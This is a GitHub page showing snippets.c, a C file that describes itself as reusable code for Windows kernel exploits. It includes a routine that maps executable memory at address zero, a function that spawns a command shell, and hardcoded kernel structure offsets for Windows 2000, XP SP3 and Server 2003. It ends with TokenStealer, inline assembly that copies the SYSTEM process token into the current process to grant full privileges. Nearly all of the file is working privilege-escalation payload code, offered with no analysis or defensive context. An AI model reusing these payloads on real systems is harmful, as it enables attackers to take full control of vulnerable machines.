-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathsnippets.c
135 lines (113 loc) · 3.01 KB
/
snippets.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
/*
* C code snippets for reuse in exploits
*/
/*
* A version of puts() that doesn't require CRT
*/
static void __puts(const char *text)
{
DWORD charsWritten;
WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), text, strlen(text), &charsWritten, NULL);
}
/*
* vsprintf() function from ntdll.
*/
typedef int (__cdecl *pvsprintf)(char *buffer, const char *format, va_list argptr);
pvsprintf vsprintf;
/*
* A version of printf() that doesn't require CRT
*/
static int __printf(const char *fmt, ...)
{
char buffer[1024];
int length;
DWORD charsWritten;
va_list args;
va_start(args, fmt);
length = vsprintf(buffer, fmt, args);
WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), buffer, length, &charsWritten, NULL);
va_end(args);
return length;
}
/*
* Simply spawn a CMD shell.
*/
static int SpawnCmd(void)
{
STARTUPINFOA StartInfo;
PROCESS_INFORMATION ProcInfo;
char ComSpec[128];
BOOL Success;
if (GetEnvironmentVariableA("ComSpec", ComSpec, sizeof(ComSpec)) == 0) {
return FALSE;
}
memset(&StartInfo, 0, sizeof(StartInfo));
StartInfo.cb = sizeof(StartInfo);
Success = CreateProcessA(
NULL,
ComSpec,
NULL,
NULL,
TRUE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&StartInfo,
&ProcInfo);
return Success;
}
/*
* Allocate page zero
*/
static NTSTATUS MapPageZero(SIZE_T Size)
{
PVOID BaseAddress = (PVOID)1;
return NtAllocateVirtualMemory((PVOID)-1, &BaseAddress, 0, &Size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
}
#define NTVER(maj, min, csd) ((maj << 24) | (min << 16) | (csd << 8))
// Windows 2000 SP4 UR1
#define NTOS_TARGET_VER NTVER(5,0,4)
// Windows XP SP3
//#define NTOS_TARGET_VER NTVER(5,1,3)
// Windows Server 2003 R2 SP2
//#define NTOS_TARGET_VER NTVER(5,2,2)
#if (NTOS_TARGET_VER == NTVER(5,0,4))
#define SYSTEM_PID 8
#define OFFSET_KPCR_KTHREAD 0x124
#define OFFSET_KTHREAD_KPROCESS 0x44
#define OFFSET_EPROCESS_UNIQUEPID 0x9C
#define OFFSET_EPROCESS_APLINKS 0xA0
#define OFFSET_EPROCESS_TOKEN 0x12C
#elif (NTOS_TARGET_VER == NTVER(5,1,3))
#define SYSTEM_PID 4
#define OFFSET_KPCR_KTHREAD 0x124
#define OFFSET_KTHREAD_KPROCESS 0x44
#define OFFSET_EPROCESS_UNIQUEPID 0x84
#define OFFSET_EPROCESS_APLINKS 0x88
#define OFFSET_EPROCESS_TOKEN 0xC8
#elif (NTOS_TARGET_VER == NTVER(5,2,2))
#define SYSTEM_PID 4
#define OFFSET_KPCR_KTHREAD 0x124
#define OFFSET_KTHREAD_KPROCESS 0x128
#define OFFSET_EPROCESS_UNIQUEPID 0x94
#define OFFSET_EPROCESS_APLINKS 0x98
#define OFFSET_EPROCESS_TOKEN 0xD8
#else
#error Please define NTOS_TARGET_VER.
#endif
static void TokenStealer(void)
{
__asm {
mov eax, fs:[OFFSET_KPCR_KTHREAD]
mov eax, [eax + OFFSET_KTHREAD_KPROCESS]
push eax
aplinks_loop:
mov eax, [eax + OFFSET_EPROCESS_APLINKS]
lea eax, [eax - OFFSET_EPROCESS_APLINKS]
cmp dword ptr [eax + OFFSET_EPROCESS_UNIQUEPID], SYSTEM_PID
jne aplinks_loop
mov eax, [eax + OFFSET_EPROCESS_TOKEN]
pop edx
mov [edx + OFFSET_EPROCESS_TOKEN], eax
}
}